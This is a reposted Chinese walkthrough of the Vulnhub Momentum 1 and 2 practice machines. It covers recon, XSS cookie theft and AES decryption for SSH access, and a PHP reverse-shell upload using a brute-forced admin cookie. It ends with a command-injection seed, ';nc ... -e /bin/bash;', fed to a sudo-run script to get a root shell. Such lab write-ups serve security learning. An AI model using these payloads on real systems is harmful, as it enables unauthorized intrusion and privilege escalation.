欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 家装 > Vulnhub Momentum系列靶机合集

Vulnhub Momentum系列靶机合集

2025/3/31 7:38:14 来源:https://blog.csdn.net/Aukum/article/details/146445346  浏览:    关键词:Vulnhub Momentum系列靶机合集

Momentum:1

具体流程

1、主机发现&端口扫描

nmap 192.168.31.157 -A -T4  

开放端口22,80。

2、web信息收集

访问80端口。

目录扫描

dirsearch -u http://192.168.31.157/

没什么收获,换字典or爆破/js二层目录,发现/js/main.js中提示两点:

  • window.location.href = "opus-details.php?id="+str

  • crypto-js,AES加密。

    var CryptoJS = require("crypto-js");
    var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");
    console.log(decrypted.toString(CryptoJS.enc.Utf8));

'?id='老熟悉了是不是,这里可能有注入,sql or xss。

存在反射型xss。

这种反射型xss当下最多能够得到一个cookie。

回到crypto.js,百度得知这是一个JavaScript的加解密的工具包,支持多种算法:MD5、SHA1、AES等。这里明显就是AES解密,官方文档的解密代码如下:

var decrypted = CryptoJS.AES.decrypt(encrypted, "Secret Passphrase");

需要解密一串字符,已知加密字符串SecretPassphraseMomentum,那需要解密的密文是什么。目前得到的密文只有通过反射型xss获取得到的cookie值cookie=U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt

解密脚本如下:

<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>
<script>
​var encrypted = "U2FsdGVkX193yTOKOucUbHeDp1Wxd5r7YkoM8daRtj0rjABqGuQ6Mx28N1VbBSZt"var decrypted = CryptoJS.AES.decrypt(encrypted, "SecretPassphraseMomentum");alert(decrypted.toString(CryptoJS.enc.Utf8));
​
</script>

得到一串密码auxerre-alienum##,ssh密码?

3、ssh登录

ssh auxerre@ip

pwd:auxerre-alienum##

get flag1!🎆

4、内网信息收集——提权

通过cat /etc/passwd知道还存在redis用户,查看开放端口,的确开放了6379,尝试redis客户端。

# 本地登录
redis-cli
# 查看一下数据库内存储的键
KEYS *
# get命令查看查询得到的键
GET rootpass

获取一个密码:m0mentum-al1enum##

尝试登录root用户。

get flag2!🎆

Momentum:2

具体流程

1、主机发现&端口扫描

nmap扫描攻击机同网段。nmap 192.168.56.0/24 -Pn

对目标机进行全面扫描,nmap 192.168.56.116 -A -T4,开放端口有22、80。

2、目录扫描

访问80端口的http服务。

目录扫描,dirsearch -u http://192.168.56.116/ -e*

3、文件上传

http://192.168.56.116/dashboard.html,文件上传功能页,测试发现txt文件可成功上传。

想办法上传php文件,通过抓包修改后缀名成功绕过(返回1则上传成功,0则上传失败),上传后保存到哪儿了?

~ Upload Your Research File about Owls这里提示上传文件至owls。果然在/owls/下发现我们上传的文件。

当前只是解决绕过后缀名限制成功上传了,但是无法利用。如何解决,如果有ajax.php代码就好了。dirsearch扫描备份文件,dirsearch -u http://192.168.56.116/ -f -e .php.bak,.zip,.tar,.7z

可以知道ajax.php的逻辑是满足以下两点则php成为白名单后缀:

  1. cookie值满足admin=&G6u@B6uDXMq&Ms+一个大写字母

  2. 请求体secure等于val1d

 //The boss told me to add one more Upper Case letter at the end of the cookieif(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){
​//[+] Add if $_POST['secure'] == 'val1d'$valid_ext = array("pdf","php","txt");}else{
​$valid_ext = array("txt");}
​// Remember success upload returns 1 

bp爆破cookie最后一个大写字母,先构造好请求包:

POST /ajax.php HTTP/1.1
Host: 192.168.56.116
Content-Length: 6559
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzWblB0WbTHck2yPX
Accept: */*
Origin: http://192.168.56.116
Referer: http://192.168.56.116/dashboard.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: admin=&G6u@B6uDXMq&MsX
​
------WebKitFormBoundaryzWblB0WbTHck2yPX
Content-Disposition: form-data; name="secure"
​
val1d
------WebKitFormBoundaryzWblB0WbTHck2yPX
Content-Disposition: form-data; name="file"; filename="kali.php"
Content-Type: application/octet-stream
​
反弹shell内容
------WebKitFormBoundaryzWblB0WbTHck2yPX--

添加payload,进行爆破。

R时响应包返回1,表示上传成功。

上传成功。

反弹成功。

python3 -c 'import pty;pty.spawn("/bin/bash")'

4、内网信息收集

  1. athena和team-tasks两个用户

  2. athena家目录下存在password-reminder.txt,提示password : myvulnerableapp[Asterisk]

  3. user.txt,get flag 1。                                                                                                                 

  4. team-tasks家目录下存在两个文件note.txt和cookie-gen.py。                                                     

5、提权

登录到athena,密码经过测试是myvulnerableapp*(Asterisk是星号)

sudo -l,提示athena可以不需要密码以root权限执行cookie-gen.py。

cookie-gen.py内容如下:

import random
import os
import subprocess
​
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
​
seed = input("Enter the seed : ")
random.seed = seed
​
cookie = ''
for c in range(20):cookie += random.choice(chars)
​
print(cookie)
​
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)

常规思路是往这个脚本中写入恶意代码,但是这里没有权限。仔细看了代码知道构造cmd,也就是通过输入seed的值构造命令行。

;nc 192.168.56.109 8888 -e /bin/bash;

nc -lvvp 8888,成功反弹得到root权限,get flag2🎆

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词